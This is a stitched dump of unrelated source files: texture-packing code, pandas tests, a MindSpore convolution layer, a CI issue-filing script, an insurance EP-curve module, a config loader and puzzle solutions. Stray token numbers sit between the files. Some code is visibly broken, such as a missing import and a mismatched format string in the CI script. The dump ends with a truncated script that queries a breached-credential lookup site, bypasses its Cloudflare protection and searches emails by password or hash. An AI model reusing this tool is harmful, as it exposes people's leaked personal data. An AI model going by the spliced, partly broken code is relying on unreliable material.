If w and h are non-None, this will short-circuit on the first
hole it finds that fits w x h, and return just that hole in a
singleton list.
"""
holes = []
lastTuples = set()
lastBitmask = None
b = 0
while b < self.h:
# Separate this row into (l, r) tuples.
bm = self.bitmasks[b]
if bm == lastBitmask:
# This row is exactly the same as the row below; no
# need to reexamine.
b += 1
continue
lastBitmask = bm
tuples = self.findEmptyRuns(bm)
newTuples = tuples.difference(lastTuples)
for l, r in newTuples:
# Find out how high we can go with this bitmask.
mask = BitArray.range(l, r - l)
t = b + 1
while t < self.h and (self.bitmasks[t] & mask).isZero():
t += 1
tpw = (r - l)
tph = (t - b)
tarea = tpw * tph
assert tarea > 0
if tarea >= area:
tp = TexPlacement(l, r, b, t)
if w and h and \
((tpw >= w and tph >= h) or \
(tph >= w and tpw >= h)):
# This hole is big enough; short circuit.
return [(tarea, tp)]
holes.append((tarea, tp))
lastTuples = tuples
b += 1
return holes
def findOverflowHole(self, area, w, h):
""" Searches for a hole large enough for (w, h), in the
overflow space. Since the overflow space is infinite, this
will always succeed. """
if w > self.w:
# It won't fit within the margins at all; just stack it on
# the top.
# Scan down past all of the empty bitmasks that may be
# stacked on top.
b = len(self.bitmasks)
while b > self.h and self.bitmasks[b - 1].isZero():
b -= 1
tp = TexPlacement(0, w, b, b + h)
return tp
# It fits within the margins; find the first row with enough
# space for it.
lastTuples = set()
lastBitmask = None
b = self.h
while True:
if b >= len(self.bitmasks):
# Off the top. Just leave it here.
tp = TexPlacement(0, w, b, b + h)
return tp
# Separate this row into (l, r) tuples.
bm = self.bitmasks[b]
if bm == lastBitmask:
# This row is exactly the same as the row below; no
# need to reexamine.
b += 1
continue
lastBitmask = bm
tuples = self.findEmptyRuns(bm)
newTuples = tuples.difference(lastTuples)
for l, r in newTuples:
# Is this region wide enough?
if r - l < w:
continue
# Is it tall enough?
r = l + w
mask = BitArray.range(l, r - l)
t = b + 1
while t < b + h and \
(t >= len(self.bitmasks) or (self.bitmasks[t] & mask).isZero()):
t += 1
if t < b + h:
# Not tall enough.
continue
tp = TexPlacement(l, r, b, t)
return tp
lastTuples = tuples
b += 1
def findEmptyRuns(self, bm):
""" Separates a bitmask into a list of (l, r) tuples,
corresponding to the empty regions in the row between 0 and
self.w. """
tuples = set()
l = bm.getLowestOffBit()
assert l != -1
if l < self.w:
r = bm.getNextHigherDifferentBit(l)
if r == l or r >= self.w:
r = self.w
tuples.add((l, r))
l = bm.getNextHigherDifferentBit(r)
while l != r and l < self.w:
r = bm.getNextHigherDifferentBit(l)
if r == l or r >= self.w:
r = self.w
tuples.add((l, r))
l = bm.getNextHigherDifferentBit(r)
return tuples
class TexRecord:
def __init__(self, key, tex, size, active):
self.key = key
self.tex = tex
self.active = active
self.root = None
self.regions = []
self.placements = []
self.overflowed = 0
self.setSize(size)
def setSize(self, size):
self.size = size
x = self.tex.getXSize()
y = self.tex.getYSize()
r = float(y) / float(x)
# Card size, in unscaled texel units.
self.tw = math.sqrt(self.size) / math.sqrt(r)
self.th = self.tw * r
def computePlacementSize(self, tmw):
self.w = max(int(self.tw / tmw.quantize + 0.5), 1)
self.h = max(int(self.th / tmw.quantize + 0.5), 1)
self.area = self.w * self.h
def setActive(self, flag):
self.active = flag
if self.active:
self.backing.clearColor()
self.matte.clearColor()
self.card.clearColor()
else:
self.backing.setColor((0.2, 0.2, 0.2, 1), 2)
self.matte.setColor((0.2, 0.2, 0.2, 1), 2)
self.card.setColor((0.4, 0.4, 0.4, 1), 2)
def clearCard(self, tmw):
if self.root:
self.root.detachNode()
self.root = None
for r in self.regions:
tmw.mw.removeRegion(r)
self.regions = []
def makeCard(self, tmw):
self.clearCard(tmw)
root = NodePath('root')
# A matte to frame the texture and indicate its status.
matte = root.attachNewNode('matte', 0)
# A backing to put behind the card.
backing = root.attachNewNode('backing', 10)
# A card to display the texture.
card = root.attachNewNode('card', 20)
# A wire frame to ring the matte and separate the card from
# its neighbors.
frame = root.attachNewNode('frame', 30)
for p in self.placements:
l, r, b, t = p.p
cx = (l + r) * 0.5
cy = (b + t) * 0.5
shrinkMat = Mat4.translateMat(-cx, 0, -cy) * Mat4.scaleMat(0.9) * Mat4.translateMat(cx, 0, cy)
cm = CardMaker('backing')
cm.setFrame(l, r, b, t)
cm.setColor(0.1, 0.3, 0.5, 1)
c = backing.attachNewNode(cm.generate())
c.setMat(shrinkMat)
cm = CardMaker('card')
cm.setFrame(l, r, b, t)
if p.rotated:
cm.setUvRange((0, 1), (0, 0), (1, 0), (1, 1))
c = card.attachNewNode(cm.generate())
c.setMat(shrinkMat)
cm = CardMaker('matte')
cm.setFrame(l, r, b, t)
matte.attachNewNode(cm.generate())
ls = LineSegs('frame')
ls.setColor(0, 0, 0, 1)
ls.moveTo(l, 0, b)
ls.drawTo(r, 0, b)
ls.drawTo(r, 0, t)
ls.drawTo(l, 0, t)
ls.drawTo(l, 0, b)
f1 = frame.attachNewNode(ls.create())
f2 = f1.copyTo(frame)
f2.setMat(shrinkMat)
#matte.flattenStrong()
self.matte = matte
#backing.flattenStrong()
self.backing = backing
card.setTransparency(TransparencyAttrib.MAlpha)
card.setTexture(self.tex)
#card.flattenStrong()
self.card = card
#frame.flattenStrong()
self.frame = frame
root.reparentTo(tmw.canvas)
self.root = root
# Also, make one or more clickable MouseWatcherRegions.
assert self.regions == []
for pi in range(len(self.placements)):
p = self.placements[pi]
r = MouseWatcherRegion('%s:%s' % (self.key, pi), *p.p)
tmw.mw.addRegion(r)
self.regions.append(r)
class TexPlacement:
def __init__(self, l, r, b, t):
self.p = (l, r, b, t)
self.area = (r - l) * (t - b)
self.rotated = False
self.overflowed = 0
def intersects(self, other):
""" Returns True if the placements intersect, False
otherwise. """
ml, mr, mb, mt = self.p
tl, tr, tb, tt = other.p
return (tl < mr and tr > ml and
tb < mt and tt > mb)
def setBitmasks(self, bitmasks):
""" Sets all of the appropriate bits to indicate this region
is taken. """
l, r, b, t = self.p
mask = BitArray.range(l, r - l)
for yi in range(b, t):
assert (bitmasks[yi] & mask).isZero()
bitmasks[yi] |= mask
def clearBitmasks(self, bitmasks):
""" Clears all of the appropriate bits to indicate this region
is available. """
l, r, b, t = self.p
mask = ~BitArray.range(l, r - l)
for yi in range(b, t):
assert (bitmasks[yi] | mask).isAllOn()
bitmasks[yi] &= mask
def hasOverlap(self, bitmasks):
""" Returns true if there is an overlap with this region and
any other region, false otherwise. """
l, r, b, t = self.p
mask = BitArray.range(l, r - l)
for yi in range(b, t):
if not (bitmasks[yi] & mask).isZero():
return True
return False
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] |
timebox/tests/test_timebox_pandas.py | BrianKopp/timebox | 1 | 28621 | from timebox.timebox import TimeBox
from timebox.utils.exceptions import InvalidPandasIndexError
import pandas as pd
import numpy as np
import unittest
import os
import logging
class TestTimeBoxPandas(unittest.TestCase):
def test_save_pandas(self):
file_name = 'save_pandas.npb'
df = pd.read_csv('timebox/tests/data/ETH-USD_combined_utc.csv', index_col=0)
tb = TimeBox.save_pandas(df, file_name)
self.assertTrue(os.path.exists(file_name))
tb_read = TimeBox(file_name)
df2 = tb_read.to_pandas()
df_columns = list(df)
df_columns.sort()
df2_columns = list(df2)
df2_columns.sort()
self.assertListEqual(df_columns, df2_columns)
os.remove(file_name)
return
def test_pandas_errors(self):
df = pd.DataFrame.from_dict(
{
'value_1': np.array([0, 1, 2], dtype=np.uint8)
},
orient='columns'
)
with self.assertRaises(InvalidPandasIndexError):
TimeBox.save_pandas(df, 'not_going_to_save.npb')
return
def test_io_pandas(self):
file_name = 'save_pandas.npb'
df = pd.read_csv('timebox/tests/data/test1.csv').set_index('date')
logging.debug('Starting test_io_pandas with df\n{}'.format(df))
tb = TimeBox.save_pandas(df, file_name)
tb_read = TimeBox(file_name)
df2 = tb_read.to_pandas()
self.assertListEqual(list(df.columns.sort_values()), list(df2.columns.sort_values()))
df = df.sort_index()
# ensure index is same
for i in range(0, len(df.index)):
self.assertEqual(pd.to_datetime(df.index[i]), pd.to_datetime(df2.index[i]))
# ensure each value is the same
columns = df.columns
for c in columns:
logging.debug('Testing column: {}'.format(c))
logging.debug('Original frame:{}'.format(df[c]))
logging.debug('TB frame:{}'.format(df2[c]))
self.assertEqual(df[c].sum(), df2[c].sum())
os.remove(file_name)
return
if __name__ == '__main__':
unittest.main()
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model_zoo/research/cv/centernet/src/dcn_v2.py | chncwang/mindspore | 1 | 65336 | <reponame>chncwang/mindspore
# Copyright 2020 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ============================================================================
"""
Deformable Convolution operator V2
"""
import mindspore.nn as nn
import mindspore.ops as ops
import mindspore.common.dtype as mstype
from .utils import ClipByValue
class GetOffsetPosition(nn.Cell):
"""
Get position index after deformable shift of each kernel element.
Args:
begin(int): The begging position index of convolutional kernel center.
stride (int): The distance of kernel moving.
Returns:
Tensor, new position index of each kernel element.
"""
def __init__(self, begin, stride):
super(GetOffsetPosition, self).__init__()
self.begin = begin
self.stride = stride
self.meshgrid = ops.Meshgrid()
self.shape = ops.Shape()
self.reshape = ops.Reshape()
self.cat_a0 = ops.Concat(axis=0)
self.cat_a1 = ops.Concat(axis=1)
self.tile = ops.Tile()
self.dtype = ops.DType()
self.range = nn.Range(-self.begin, self.begin + 1)
self.cast = ops.Cast()
def construct(self, offset):
"""get target position"""
offset_shape = self.shape(offset) # b * 2N * h * w
N, h, w = offset_shape[1] // 2, offset_shape[2], offset_shape[3]
# get p_n
range_pn = self.range()
p_n_x, p_n_y = self.meshgrid((range_pn, range_pn))
# (2N, 1)
p_n = self.cat_a0((self.reshape(p_n_x, (N, 1)), self.reshape(p_n_y, (N, 1))))
p_n = self.reshape(p_n, (1, 2 * N, 1, 1))
# get p_0
range_h = nn.Range(self.begin, h*self.stride + 1, self.stride)()
range_w = nn.Range(self.begin, w*self.stride + 1, self.stride)()
p_0_x, p_0_y = self.meshgrid((range_h, range_w))
p_0_x = self.reshape(p_0_x, (1, 1, h, w))
p_0_x = self.tile(p_0_x, (1, N, 1, 1))
p_0_y = self.reshape(p_0_y, (1, 1, h, w))
p_0_y = self.tile(p_0_y, (1, N, 1, 1))
p_0 = self.cat_a1((p_0_x, p_0_y))
# get p
dtype = self.dtype(offset)
p = self.cast(p_0, dtype) + self.cast(p_n, dtype) + offset
return p
class GetSurroundFeature(nn.Cell):
"""
Get feature after deformable shift of each kernel element.
Args: None
Returns:
Tensor, feature map after deformable shift.
"""
def __init__(self):
super(GetSurroundFeature, self).__init__()
self.shape = ops.Shape()
self.concat = ops.Concat(axis=1)
self.reshape = ops.Reshape()
self.half = ops.Split(axis=-1, output_num=2)
self.tile = ops.Tile()
self.gather_nd = ops.GatherNd()
self.transpose = ops.Transpose()
self.perm_list = (0, 2, 3, 1)
self.order_list = (0, 3, 1, 2)
self.expand_dims = ops.ExpandDims()
def construct(self, x, q_h, q_w):
"""gather feature by specified index"""
b, c, _, w_p = self.shape(x)
_, h, w, N = self.shape(q_h)
hwn = h * w * N
# (b * hw * c)
x = self.transpose(x, self.perm_list)
x = self.reshape(x, (b, -1, c))
# (b * hwN)
q = q_h * w_p + q_w
q = self.reshape(q, (-1, 1))
ind_b = nn.Range(0, b, 1)()
ind_b = self.reshape(ind_b, (-1, 1))
ind_b = self.tile(ind_b, (1, hwn))
ind_b = self.reshape(ind_b, (-1, 1))
index = self.concat((ind_b, q))
# (b, hwn, 2)
index = self.reshape(index, (b, hwn, -1))
# (b, hwn, c)
x_offset = self.gather_nd(x, index)
# (b, c, h, w, N)
x_offset = self.reshape(x_offset, (b, h * w, N, c))
x_offset = self.transpose(x_offset, self.order_list)
x_offset = self.reshape(x_offset, (b, c, h, w, N))
return x_offset
class RegenerateFeatureMap(nn.Cell):
"""
Get rescaled feature map which was enlarged by ks**2 time.
Args:
ks: Kernel size of convolution.
Returns:
Tensor, rescaled feature map.
"""
def __init__(self, ks):
super(RegenerateFeatureMap, self).__init__()
self.ks = ks
self.shape = ops.Shape()
self.reshape = ops.Reshape()
self.split = ops.Split(axis=-1, output_num=ks)
self.concat = ops.Concat(axis=2)
def construct(self, x_offset):
b, c, h, w, _ = self.shape(x_offset)
splits = self.split(x_offset)
x_offset = self.concat(splits)
ks = self.ks
x_offset = self.reshape(x_offset, (b, c, h * ks, w * ks))
return x_offset
class DeformConv2d(nn.Cell):
"""
Deformable convolution opertor
Args:
inc(int): Input channel.
outc(int): Output channel.
kernel_size (int): Convolution window. Default: 3.
stride (int): The distance of kernel moving. Default: 1.
padding (int): Implicit paddings size on both sides of the input. Default: 1.
has_bias (bool): Specifies whether the layer uses a bias vector. Default: False.
modulation (bool): If True, modulated defomable convolution (Deformable ConvNets v2). Default: True.
Returns:
Tensor, detection of images(bboxes, score, keypoints and category id of each objects)
"""
def __init__(self, inc, outc, kernel_size=3, padding=1, stride=1, has_bias=False, modulation=True):
super(DeformConv2d, self).__init__()
self.kernel_size = kernel_size
self.padding = padding
self.stride = stride
self.zero_padding = nn.Pad(((0, 0), (0, 0), (padding, padding), (padding, padding)))
self.conv = nn.Conv2d(inc, outc, kernel_size=kernel_size, pad_mode='valid', padding=0,
stride=kernel_size, has_bias=has_bias)
self.p_conv = nn.Conv2d(inc, 2*kernel_size*kernel_size, kernel_size=self.kernel_size,
pad_mode='pad', padding=self.padding, stride=self.stride)
self.modulation = modulation
if modulation:
self.m_conv = nn.Conv2d(inc, kernel_size*kernel_size, kernel_size=self.kernel_size,
pad_mode='valid', padding=0, stride=self.stride)
if kernel_size % 2 == 0:
raise ValueError("Only odd number is supported, but current kernel sizeis {}".format(kernel_size))
self.N = kernel_size * kernel_size
self.begin = kernel_size // 2
self.sigmoid = ops.Sigmoid()
self.dtype = ops.DType()
self.perm_list = (0, 2, 3, 1)
self.transpose = ops.Transpose()
self.floor = ops.Floor()
self.half = ops.Split(axis=-1, output_num=2)
self.clip_value = ClipByValue()
self.expand_dims = ops.ExpandDims()
self.shape = ops.Shape()
self.cast = ops.Cast()
self._get_offset = GetOffsetPosition(self.begin, self.stride)
self._get_surround = GetSurroundFeature()
self._generate_fm = RegenerateFeatureMap(self.kernel_size)
def construct(self, x):
"""deformed sampling locations with augmented offsets"""
offset = self.p_conv(x)
# (b, c, h, w))
x_shape = self.shape(x)
# (b, c, h + 2p, w + 2p)
if self.padding > 0:
x = self.zero_padding(x)
# (b, 2N, h, w)
p = self._get_offset(offset)
# (b, h, w, 2N)
p = self.transpose(p, self.perm_list)
q_lt = self.cast(self.floor(p), mstype.int32)
q_rb = q_lt + 1
# (b, h, w, N)
q_lt_h, q_lt_w = self.half(q_lt)
q_lt_h = self.clip_value(q_lt_h, 0, x_shape[2] - 1)
q_lt_w = self.clip_value(q_lt_w, 0, x_shape[3] - 1)
# (b, h, w, N)
q_rb_h, q_rb_w = self.half(q_rb)
q_rb_h = self.clip_value(q_rb_h, 0, x_shape[2] - 1)
q_rb_w = self.clip_value(q_rb_w, 0, x_shape[3] - 1)
# clip p
p_h, p_w = self.half(p)
dtype = self.dtype(offset)
p_h = self.clip_value(p_h, self.cast(0, dtype), self.cast(x_shape[2] - 1, dtype))
p_w = self.clip_value(p_w, self.cast(0, dtype), self.cast(x_shape[3] - 1, dtype))
# bilinear kernel (b, h, w, N)
g_lt = (1 + (q_lt_h - p_h)) * (1 + (q_lt_w - p_w))
g_rb = (1 - (q_rb_h - p_h)) * (1 - (q_rb_w - p_w))
g_lb = (1 + (q_lt_h - p_h)) * (1 - (q_rb_w - p_w))
g_rt = (1 - (q_rb_h - p_h)) * (1 + (q_lt_w - p_w))
# (b, c, h, w, N)
x_q_lt = self._get_surround(x, q_lt_h, q_lt_w)
x_q_rb = self._get_surround(x, q_rb_h, q_rb_w)
x_q_lb = self._get_surround(x, q_lt_h, q_rb_w)
x_q_rt = self._get_surround(x, q_rb_h, q_lt_w)
# (b, c, h, w, N)
x_offset = (self.expand_dims(g_lt, 1) * x_q_lt +
self.expand_dims(g_rb, 1) * x_q_rb +
self.expand_dims(g_lb, 1) * x_q_lb +
self.expand_dims(g_rt, 1) * x_q_rt)
if self.modulation:
# modulation (b, 1, h, w, N)
m = self.sigmoid(self.m_conv(x))
m = self.transpose(m, self.perm_list)
m = self.expand_dims(m, 1)
x_offset = x_offset * m
x_offset = self._generate_fm(x_offset)
out = self.conv(x_offset)
return out
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] |
travis/submit_issue.py | chrisma/rails-intro-16-mirror | 0 | 129857 | <gh_stars>0
#!/usr/bin/env python2.7
import logging, sys, json
from github3 import GitHub
logging.basicConfig(level=logging.DEBUG)
logging.getLogger('github3').setLevel(logging.WARNING)
log = logging.getLogger(__name__)
# Load json from Rspec run from stdin
test_runs = json.loads(sys.stdin.read())
# As Rspec should be run in --fail-fast mode, the last
# run test should be the one that failed
failed_test = test_runs['examples'][-1]
status = failed_test['status']
if status != 'failed':
log.error('Last test did not fail!')
log.error(failed_test)
sys.exit(1)
title = failed_test['full_description']
body = failed_test['exception']['message']
log.debug("FAiled test: {test}".format(title))
# Create Github issue
gh_username = 'swt2public'
gh_password = '<PASSWORD>'
log.debug("Logging in as {user}".format(user=gh_username))
github = GitHub(gh_username, gh_password)
log.debug("Ratelimit remaining: {rate}".format(rate=github.ratelimit_remaining))
# create_issue(owner, repository, title, body=None, assignee=None, milestone=None, labels=[])
# TRAVIS_REPO_SLUG (owner_name/repo_name)
# https://docs.travis-ci.com/user/environment-variables/
owner, repo = os.environ.get('TRAVIS_REPO_SLUG').split('/')
log.debug("Repo: {owner}/{repo}".format(owner=owner, repo=repo))
log.debug("Attempting to create issue...")
resp = github.create_issue(owner, repo, title, body, owner)
log.debug("Created ticket: {resp}".format(resp=resp)) | [
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] |
plttools/ep_curve.py | anishpatelwork/plt-tools | 0 | 1616504 | <gh_stars>0
""" EP Curve module for the representation of an EP Curve"""
from enum import Enum
import pandas as pd
import numpy as np
class EPType(Enum):
""" EP Type Enum representing type of EP Curve """
OEP = 1
AEP = 2
UNKNOWN = 3
class EPCurve:
"""EP Curve"""
RETURN_PERIODS = [1, 2, 5, 10, 20, 25, 50,
100, 150, 200, 250, 500, 1000, 10000]
REQUIRED_COLUMNS = ["Probability", "Loss"]
def __init__(self, data: list, ep_type: EPType):
""" Type initialiser for EP Curve
Parameters
----------
data:
type(list)
Contains a list of Probability and Loss pairs [{"Probability":0.01, "Loss":1000}
,{"Probability":0.02, "Loss":2000}]
ep_type:
type(EPType)
Enum representing the type of EP Curve that this is (AEP or OEP)
Returns
-------
"""
curve_data = pd.DataFrame(data)
if all(column in list(curve_data.columns.values) for column in EPCurve.REQUIRED_COLUMNS):
self.curve = curve_data
max_loss_probability = [{"Probability": np.finfo(
float).tiny, "Loss": self.curve.max().Loss}]
self.curve = self.curve.append(pd.DataFrame(max_loss_probability))
self.curve = self.curve.set_index('Probability')
if ep_type is None:
self.ep_type = EPType.UNKNOWN
else:
self.ep_type = ep_type
else:
raise ValueError(
"Probability and Loss fields not in data. Check the spelling")
def loss_at_a_given_return_period(self, return_period: float):
""" Get a loss from EP curve
Parameters
----------
return_period:
type(float)
Non-Negative number representing the return period (reciprocal of the probability)
Returns
-------
type(float) Return Period Loss
"""
if return_period <= 0:
raise ValueError(
"return_period: {0} supplied is not positive".format(return_period))
probability = 1 / return_period
if probability in self.curve.index:
loss = self.curve.loc[probability].Loss
else:
probability_array = [probability]
self.curve = self.curve.reindex(self.curve.index.union(probability_array)).sort_index(
ascending=True).interpolate(method='index')
loss = self.curve.loc[probability].Loss
return loss
def tce_loss_at_a_given_return_period(self, return_period):
""" Calculate TCE from EP curve at a given return period
Methodology takes return period loss at the given return period and adds
the weighted average loss for return periods higher (probability lower) than the
given return period.
Parameters
----------
return_period:
type(float)
Non-Negative number representing the return period (reciprocal of the probability)
Returns
-------
type(float) Tail conditional expected loss at given return period
"""
if return_period <= 0:
raise ValueError(
"return_period: {0} supplied is not positive".format(return_period))
return_period_loss = self.loss_at_a_given_return_period(return_period)
probability = 1 / return_period
subset = self.curve[self.curve.index <= probability]
expected_loss_above_rpl = (subset.index * subset['Loss']).mean()
return return_period_loss + expected_loss_above_rpl
def get_ep_type(self):
""" Get the type of EP Curve
Parameters
----------
Returns
-------
EPType
"""
return self.ep_type
def get_standard_return_period_ep(self):
""" Calculates standard EP return periods and returns the overall curve
Parameters
----------
Returns
-------
type(dict) The following structure [{"Probability":0.01, "Loss":1000},
{"Probability":0.02, "Loss":2000}]
"""
return_periods = EPCurve.RETURN_PERIODS
probabilities = list(map(lambda x: 1/x, return_periods))
self.curve = self.curve.reindex(self.curve.index.union(probabilities)).sort_index(
ascending=True).interpolate(method='index')
return self.curve.to_dict()['Loss']
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] |
src/hangar/remote/config.py | siddhu15798/hangar-py | 1 | 81073 | <reponame>siddhu15798/hangar-py
"""Provides editable config of server & rpc behavior from on disk yaml file
Portions of this code have been taken and modified from the "Dask" project.
URL: https://github.com/dask/dask
File: dask/config.py
Commit: <PASSWORD>
Accessed: 09 APR 2019
Dask License
-------------------------------------------------------------------------------
Copyright (c) 2014-2018, Anaconda, Inc. and contributors
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
Neither the name of Anaconda nor the names of any contributors may be used to
endorse or promote products derived from this software without specific prior
written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
THE POSSIBILITY OF SUCH DAMAGE.
"""
import os
from os import makedirs
from functools import lru_cache
from typing import MutableMapping, Union
import yaml
global_config: MutableMapping[str, Union[str, int]]
no_default = '__no_default__'
global_config = config = {}
defaults = []
def update(old, new, priority='new'):
""" Update a nested dictionary with values from another
This is like dict.update except that it smoothly merges nested values
This operates in-place and modifies old
Parameters
----------
priority: string {'old', 'new'}
If new (default) then the new dictionary has preference.
Otherwise the old dictionary does.
Examples
--------
>>> a = {'x': 1, 'y': {'a': 2}}
>>> b = {'x': 2, 'y': {'b': 3}}
>>> update(a, b) # doctest: +SKIP
{'x': 2, 'y': {'a': 2, 'b': 3}}
>>> a = {'x': 1, 'y': {'a': 2}}
>>> b = {'x': 2, 'y': {'b': 3}}
>>> update(a, b, priority='old') # doctest: +SKIP
{'x': 1, 'y': {'a': 2, 'b': 3}}
"""
for k, v in new.items():
if k not in old and isinstance(v, dict):
old[k] = {}
if isinstance(v, dict):
if old[k] is None:
old[k] = {}
update(old[k], v, priority=priority)
else:
if priority == 'new' or k not in old:
old[k] = v
return old
def merge(*dicts):
""" Update a sequence of nested dictionaries
This prefers the values in the latter dictionaries to those in the former
Examples
--------
>>> a = {'x': 1, 'y': {'a': 2}}
>>> b = {'y': {'b': 3}}
>>> merge(a, b) # doctest: +SKIP
{'x': 1, 'y': {'a': 2, 'b': 3}}
"""
result = {}
for d in dicts:
update(result, d)
return result
def collect_yaml(paths):
""" Collect configuration from yaml files
This searches through a list of paths, expands to find all yaml or json
files, and then parses each file.
"""
# Find all paths
file_paths = []
for path in paths:
if os.path.exists(path):
if os.path.isdir(path):
try:
file_paths.extend(sorted([
os.path.join(path, p)
for p in os.listdir(path)
if os.path.splitext(p)[1].lower() in ('.yaml', '.yml')
]))
except OSError:
# Ignore permission errors
pass
else:
file_paths.append(path)
configs = []
# Parse yaml files
for path in file_paths:
try:
with open(path) as f:
data = yaml.safe_load(f.read()) or {}
configs.append(data)
except (OSError, IOError):
# Ignore permission errors
pass
return configs
def ensure_file(source, destination=None, comment=False):
"""
Copy file to default location if it does not already exist
This tries to move a default configuration file to a default location if
if does not already exist. It also comments out that file by default.
This is to be used on repository initialization or downstream module that
may have default configuration files that they wish to include in the
default configuration path.
Parameters
----------
source : string, filename
Source configuration file, typically within a source directory.
destination : string, directory
Destination directory.
comment : bool, False by default
Whether or not to comment out the config file when copying.
"""
if destination is None:
raise FileNotFoundError('not currenly accepting no-destination option')
# destination is a file and already exists, never overwrite
if os.path.isfile(destination):
return
# If destination is not an existing file, interpret as a directory,
# use the source basename as the filename
directory = destination
destination = os.path.join(directory, os.path.basename(source))
try:
if not os.path.exists(destination):
makedirs(directory, exist_ok=True)
# Atomically create destination. Parallel testing discovered
# a race condition where a process can be busy creating the
# destination while another process reads an empty config file.
tmp = '%s.tmp.%d' % (destination, os.getpid())
with open(source) as f:
lines = list(f)
if comment:
lines = ['# ' + line
if line.strip() and not line.startswith('#')
else line
for line in lines]
with open(tmp, 'w') as f:
f.write(''.join(lines))
try:
os.rename(tmp, destination)
except OSError:
os.remove(tmp)
except OSError:
pass
def collect(paths=[], env=None):
"""
Collect configuration from paths and environment variables
Parameters
----------
paths : List[str]
A list of paths to search for yaml config files
env : dict
The system environment variables
Returns
-------
config: dict
"""
if env is None:
env = os.environ
configs = []
if yaml:
configs.extend(collect_yaml(paths=paths))
return merge(*configs)
def refresh(config=config, defaults=defaults, **kwargs):
"""
Update configuration by re-reading yaml files and env variables
This mutates the global hangar.config.config, or the config parameter if
passed in.
This goes through the following stages:
1. Clearing out all old configuration
2. Updating from the stored defaults from downstream libraries
(see update_defaults)
3. Updating from yaml files and environment variables
Note that some functionality only checks configuration once at startup and
may not change behavior, even if configuration changes. It is recommended
to restart your python process if convenient to ensure that new
configuration changes take place.
"""
get.cache_clear()
config.clear()
for d in defaults:
update(config, d, priority='new')
update(config, collect(**kwargs))
@lru_cache(maxsize=128)
def get(key, default=no_default, config=config): # pragma: no cover
"""
Get elements from global config
Use '.' for nested access
Examples
--------
>>> from hangar import config
>>> config.get('foo') # doctest: +SKIP
{'x': 1, 'y': 2}
>>> config.get('foo.x') # doctest: +SKIP
1
>>> config.get('foo.x.y', default=123) # doctest: +SKIP
123
"""
keys = key.split('.')
result = config
for k in keys:
try:
result = result[k]
except (TypeError, IndexError, KeyError):
if default is not no_default:
return default
else:
raise
return result | [
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] |
test_day01.py | clfs/aoc2019 | 0 | 27988 | <filename>test_day01.py
def fuel_required(weight: int) -> int:
return weight // 3 - 2
def fuel_required_accurate(weight: int) -> int:
fuel = 0
while weight > 0:
weight = max(0, weight // 3 - 2)
fuel += weight
return fuel
def test_fuel_required() -> None:
cases = [(12, 2), (14, 2), (1969, 654), (100756, 33583)]
for x, y in cases:
assert fuel_required(x) == y
def test_fuel_required_accurate() -> None:
cases = [(14, 2), (1969, 966), (100756, 50346)]
for x, y in cases:
assert fuel_required_accurate(x) == y
def test_solutions() -> None:
with open("input/01.txt") as f:
modules = [int(line) for line in f]
part_1 = sum(map(fuel_required, modules))
part_2 = sum(map(fuel_required_accurate, modules))
assert part_1 == 3375962
assert part_2 == 5061072
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29871,
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29900,
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29896,
29900,
29955,
29906,
13,
2
] |
Algorithms/Implementation/library-fine.py | RitvijSrivastava/Hackerrank-1 | 29 | 104546 | #!/bin/python3
import sys
total = 0
d1,m1,y1 = input().strip().split(' ')
d1,m1,y1 = [int(d1),int(m1),int(y1)]
d2,m2,y2 = input().strip().split(' ')
d2,m2,y2 = [int(d2),int(m2),int(y2)]
if(y2<y1):
total = 10000
elif (y2==y1):
if(m2<m1):
total = 500*(m1-m2)
elif(m1==m2):
if(d2<d1):
total = 15*(d1-d2)
print (total) | [
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13,
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313,
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29897,
2
] |
weleak.py | lectair/WeLeak-CLI | 2 | 151831 | import requests
import json
import cloudscraper
import re
import sys
from bs4 import BeautifulSoup
mode = input('''Select mode:
- Email: email
- Username: username
- Email by password: <PASSWORD>
- Username by password: elogin
- Phone (BETA): phone
- Domain (BETA): domain
- Email by hash: hash
''').lower()
try:
query = str(input('Select your query: ')).rstrip()
print()
except:
print('Please enter a valid query.')
sys.exit()
url = 'https://weleakinfo.to/system/ajax/search.php?type=search'
headers = {
"Host": "weleakinfo.to",
"user-agent": "Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Content-type": "application/x-www-form-urlencoded",
"Content-Length": "71",
"Origin": "https://weleakinfo.to",
"DNT": "1",
"Connection": "keep-alive",
"Referer": "https://weleakinfo.to/",
"Cookie": "__cfduid=d2578cdc2c2a1033b81a83678fc50d64d1596046136; __ddg1=6nCPL8o6dfDcGXKhNCOT; PHPSESSID=48a46430e524883800d701888dbdacbd",
"TE": "Trailers"
}
scraper = cloudscraper.create_scraper()
response = scraper.get("https://weleakinfo.to").text
soup = BeautifulSoup(response)
csrf = soup.find("input", {"name":"csrf"})['value']
data = {
'query': query,
